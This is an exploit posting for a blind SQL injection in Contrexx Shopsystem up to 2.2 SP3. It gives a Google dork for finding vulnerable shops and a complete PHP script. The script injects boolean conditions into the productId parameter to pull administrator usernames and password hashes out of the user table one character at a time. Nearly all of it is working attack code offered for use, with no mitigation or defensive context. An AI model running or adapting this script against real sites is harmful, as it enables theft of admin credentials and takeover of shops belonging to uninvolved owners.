Contrexx Shopsystem <= 2.2 SP3 Blind SQL Injection

Exploit title: Contrexx Shopsystem Blind SQL Injection Exploit
Exploit PoC: index.php?section=shop&productId=[VALID productid] and [YOUR BLIND SQL CODE]
Exploit tested on: Debian 6, Ubuntu Linux 11.04
Exploit found and written by: Penguin
Version: =< 2.2 SP 3
Date found: 12.8.11
Dork: inurl:index.php?section=shop&productId=
Vendor: www.contrexx.com
Visit: www.null-sector.info
Contact: Jabber -> penguin@null-sector.info

#!/usr/bin/php
<?php
/*
 Exploit title: Contrexx Shopsystem Blind SQL Injection Exploit
 Exploit PoC: index.php?section=shop&productId=[VALID productid] and [YOUR BLIND SQL CODE]
 Exploit tested on: Debian 6, Ubuntu Linux 11.04
 Exploit found and written by: Penguin
 Version: =< 2.2 SP 3
 Date found: 12.8.11
 Dork: inurl:index.php?section=shop&productId=
 Vendor: www.contrexx.com
 Visit: www.null-sector.info
 Contact: Jabber -> penguin@null-sector.info
 
 Greets to: Blacktiger/Luxy, Leto, hAgBaRd2ooo, KrimiX, zYiix, reutz/head
 
 Important info to this Exploit:
  If you want to use it on a non-german site you have to edit the string in testIt "In den Warenkorb"!
 Known Bugs:
  -> Some servers response 500 - Internal Server Error. Dunno why :(
  -> On non-german shops you must edit the function testIt. It does not fetch a keyword automatic :/
 */
 
echo "#######################################\r\n";
echo "# Contrexx Shopsystem Exploit         #\r\n";
echo "# Exploit Type: Blind SQL Injection   #\r\n";
echo "# Exploit State: Non-Public           #\r\n";
echo "# Programmed by: Penguin              #\r\n";
echo "#######################################\r\n";
if ($argc < 4)
{
 echo "USAGE: ./exploit.php [TARGET] [PRODUCTID] [ADMIN ROW]\r\n";
 echo "Target = ex. http://demo.site/index.php\r\n";
 echo "PRODUCTID = a VALID ProductId!\r\n";
 echo "Admin Row = The Exploit selects all admins and use limit [ADMIN ROW],1. Standard: 0\r\n";
} else {
 // There are some Config variables :)
 // If you know what you're doing, feel free to change them :>
 $target_url = $argv[1] . "?section=shop&cmd=details&productId=" . $argv[2];
 $charset_start_usr = 96;
 $charset_end_usr = 126;
 $charset_hash = Array(48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
 $toLength = 100;
 $myLimit = $argv[3];
 
 // Now the Action start :)

 echo "Starting exploit....\r\nChecking if Vulnerable...";
 $check = file_get_contents($target_url . "'");
 if(testIt($check) == true)
 {
  die("Target is not Vulnerable :(\r\n");
 }
 echo "Target is Vulnerable :)\r\n";
 echo "Starting the SQL Injection...\r\n";
 echo "Fetching Username...\r\n";
 $username = getUsername($toLength, $charset_start_usr, $charset_end_usr, $target_url,$myLimit);
 $hash = getHash($toLength,$charset_hash,$target_url,$myLimit);
 echo "Exploited Successfully!\r\n";
 echo "Full Logindata: $username : $hash\r\n";
 echo "Have fun ;)\r\n";
}

/////////////////////////////////////////

//Functions - Sorry, code is a bit "ugly" :)
function getUsername($toLength, $charset_start, $charset_end, $target_url,$limit)
{
 $username = "";
 // Get Length
 $length = -1;
 for($i=0;$i<$toLength;$i++)
 {
  $url = $target_url . "/**/and/**/(select/**/length(username)/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1)=" . $i;
  $src = file_get_contents($url);
  if(testIt($src) == true)
  {
   $length = $i;
   break;
  }
 }
 if ($length == -1)
 {
  die("There was a problem @ fetching username length :(\r\n");
 }
 echo "Username length: $length !\r\n";
 $username = "";
 echo "Username: ";
 for($k=0;$k<$length;$k++)
 {
  $charToAdd = "";
  for($c=$charset_start;$c<$charset_end;$c++)
  {
   $p = $k+1;
   $src = file_get_contents($target_url . "/**/and/**/substring((select/**/username/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1),$p,1)=char($c)");
   if(testIt($src) == true)
   {
    $charToAdd = $c;
    break;
   }
  }
  echo chr($c);
  $username .= chr($c);
 }
 echo "\r\n";
 return $username;
}

function getHash($toLength, $charset, $target_url, $limit)
{
 // Get Hash

 $hash = "";
 echo "Hash: ";
 for($k=0;$k<32;$k++)
 {
  $charToAdd = "";
  for($c=0;$c<count($charset);$c++)
  {
   $p = $k+1;
   $z = $charset[$c];
   $src = file_get_contents($target_url . "/**/and/**/substring((select/**/password/**/from/**/contrexx_access_users/**/where/**/is_admin/**/=/**/1/**/limit/**/$limit,1),$p,1)=char($z)");
   if(testIt($src) == true)
   {
    $charToAdd = $charset[$c];
    break;
   }
  }
  echo chr($charToAdd);
  $hash .= chr($charToAdd);
 }
 echo "\r\n";
 return $hash;
}

function testIt($src)
{
 $check = explode("In den Warenkorb",$src);
 if(count($check) >= 2)
 {
  return true;
 }
 return false;
}

?>